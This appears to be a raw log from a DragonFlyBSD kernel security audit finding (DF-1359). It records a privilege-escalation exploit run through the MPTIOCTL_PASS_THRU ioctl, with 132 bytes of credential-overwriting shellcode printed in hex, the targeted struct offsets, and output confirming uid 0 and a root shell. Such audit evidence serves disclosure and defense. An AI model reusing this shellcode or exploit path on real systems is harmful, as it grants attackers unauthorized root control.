⬢ DragonFlyBSD Kernel Audit
DF-1359 / rig_evaded_uid0.log
← back to finding ↓ download raw
mode=evaded cs=0x2b ss=0x23 off: ct=8 tp=168 pu=16 uid=64 ruid=160 svuid=164 grp=72 rgid=168 svgid=172
shellcode: 132 bytes at 0x10000000
65488b042500000000488bb808000000
488bbfa8000000488bbf10000000c787
4000000000000000c787a00000000000
0000c787a400000000000000c7874800
000000000000c787a800000000000000
c787ac000000000000000f01f8682300
000048b8f87e00200000000050680202
0000682b00000048b843104000000000
005048cf
open ok fd=3, ioctl MPTIOCTL_PASS_THRU (0xc0384904) RequestSize=96
DF1359_CONTINUATION: getuid=0 getgid=0 (pid 1172)
DF1359_ROOT: uid=0 achieved, launching root shell
uid=0(root) gid=0(wheel) groups=0(wheel)
DF1359_SHELL uid=0